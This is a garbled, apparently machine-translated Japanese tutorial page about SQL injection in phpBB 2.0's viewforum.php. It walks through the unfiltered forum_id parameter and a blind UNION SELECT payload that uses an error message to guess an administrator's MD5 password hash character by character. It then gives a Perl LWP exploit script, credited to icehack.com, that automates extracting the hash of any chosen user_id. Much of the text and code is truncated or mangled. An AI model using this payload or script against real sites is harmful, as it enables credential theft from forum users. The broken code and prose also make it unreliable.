ホームページ >バックエンド開発 >PHPチュートリアル >PHP インジェクションの例_PHP チュートリアル
PHPインジェクションの例
インターネット上で php インジェクションとアプリケーション コードに関する完全な記事を見るのは難しいので、他の人にインスピレーションを与えることを願って、私は数週間 mysql と php を勉強しました
と信じています。 asp インジェクションはすでに非常によく知られていますが、php へのインジェクションは asp よりも困難です。php の magic_gpc オプションは本当に頭の痛い問題です。インジェクションでは引用符を使用しないでください。また、php は主に mysql と関数型の組み合わせで使用されます。 mysql の欠点 他の人の観点から見ると、SQL インジェクション攻撃をある程度防ぐことができます。ここで phpbb2.0 を例に挙げます。
viewforum.php には次の変数があります。フィルタリングされていません:
if ( isset( $HTTP_GET_VARS
$forum_id = ( isset($HTTP_GET_VARS
($HTTP_POST_VARS< pOST_FORUM_URL]);
}
else if ( isset($HTTP_GET_VARS['forum']))
{
$forum_id = $HTTP_GET_VARS['forum']
}
else
{
$forum_id = '';
}
これはフォーラムであり、次のものがクエリに直接入力されます:
if ( !empty($forum_id) )
{
$sql = "SELECT *
FROM " . "
WHERE forum_id = $forum_id";
if ( !($result = $db->sql_query($sql)) )
{
message_die(GENERAL_ERROR, 'フォーラム情報を取得できませんでした', '', __LINE__, __FILE__ , $sql);
}
}
else
{
message_die(GENERAL_MESSAGE, 'Forum_not_exist');
asp の場合、forum_id で指定されたフォーラムが存在しない場合は、それを挿入する人が多いと思います。 $result は空になり、フォーラム情報を取得できませんでした。そのため、次のコードは実行できません
//
// クエリが行を返さない場合、これは有効なフォーラムではないことを通知します
//。 user.
//
if ( !($forum_row = $db->sql_fetchrow($result)) )
{
message_die(GENERAL_MESSAGE, 'Forum_not_exist')
}
//
// セッション管理を開始します
//
$userdata = session_pagestart($user_ip, $forum_id) /*********************************** *****
キーはアスタリスクの行です。これは session_pagestart($user_ip, $thispage_id) という関数です。コードが長すぎるため、私が勝ちました。全文は掲載しておりませんので、興味のある方はご自身でご覧ください。重要なのは、この関数が session_begin() を呼び出すことです。 )) これは、次のコードも含めて定義されています
$sql = "UPDATE " . SESSIONS_TABLE "
SET session_user_id = $user_id, session_start = $current_time, session_time = $current_time, session_page =
$page_id session_logged_in = $login
WHERE session_id = '" . $session_id . "'
AND session_ip = '$user_ip'";
if ( !($result = $db->sql_query($sql)) ││ !$db - &gt; sql_affectedRows()){$ session_id = md5($ user_ip);
session_logged_in)
VALUES ('$session_id', $user_id , $current_time, $current_time, '$user_ip', $page_id, $login)";
if ( !($result = $db->sql_query($sql) )) )
{
message_die(CRITICAL_ERROR, '新しいセッションの作成中にエラーが発生しました: session_begin', '', __LINE__, __FILE__,
$sql);
ここには mysql で整数として定義されている session_page があり、その値は $page_id であり、挿入された値が整数でない場合は、エラーが報告され、
作成エラーが表示されます。新しいセッション: session_begin ヒント: $forum_id の値は非常に重要なので、次のように指定しました: -1%20union%20select%201,1,1,1,1,1,1,1,1,1,1 ,1 ,1,1,1,1,1,1,1,1,1,1%20from%20phpbb_users%20where%20user_id=2%20and%20ord(substring(user_password,1,1))=57、いいえ引用符 ! 存在しない forum_id を指定していますが、返されるクエリ結果は必ずしも空ではありません。これは、user_id 2 を持つユーザーの最初のパスワードの ASCII コード値が 57 であるかどうかを推測するためです。そうであれば、の値が 57 になります。記事 コード内の $result が空ではないため、問題のある関数 session_pagestart が実行されます。挿入された数値が整数でない場合は、当然エラーが発生するため、Error created new session: session_begin が表示されます。 1 つのビットは正しく推測され、他のビットも同様です。
エラー メッセージが表示されても、注入が成功したかどうかを判断するのは難しいと思います。分析はここで終了し、コードの下にテストが添付されています。このコードは、少し変更することで他の同様の md5 パスワード推測の状況に適用できます。ここでは、中国語およびその他の言語の場合、英語版の戻り条件を使用します。
use HTTP::Request::Common;
use LWP::UserAgent;
$ua = new LWP::UserAgent; ************* *******n";
print "phpbb viewforum.php expn";
print " code by pineyesn";
print " www.icehack.comn" ;
print " ***************n";
print "弱いファイルの URL:n を入力してください"; //192.168.1.4/phpBB2/viewforum.phpn";
$adr=
chomp($adr);
print "解読したいuser_idを入力してください";
$u=
print "作業を開始します。お待ちください!n";
@pink=(@pink,97..102); j=1;$j<=32;$j++) {
for ($i=0;$i<@pink;$i++){
$url=$adr."?forum=-1%20union%20select% 201,1,1,1,1,1,1 ,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20phpbb_users%20where%
20user_id=$u%20and%20ord(substring( user_password,$j,1))=$pink[$i]";
$request = HTTP::Request->new('GET', "$url ");
$response = $ua->request ($request);
if ($response->is_success) {
if ($response->content =~ /新しいセッションの作成エラー/) {
$pwd.=chr($pink[$i]) ;
print "$pwdn";
}
}
}
}
if ($pwd ne ""){
print "成功しました、パスワードは $pwd ,good luckyn";}
else{
print "bad lucky,work failed!n";}
phpbb2.0.6 の search.php に関する最近の問題については、上記のコードを少し変更するだけで、プログラムにエラーがある場合は、www.icehack.com にアクセスして修正してください。
http://www.bkjia.com/PHPjc/314566.html
www.bkjia.com
true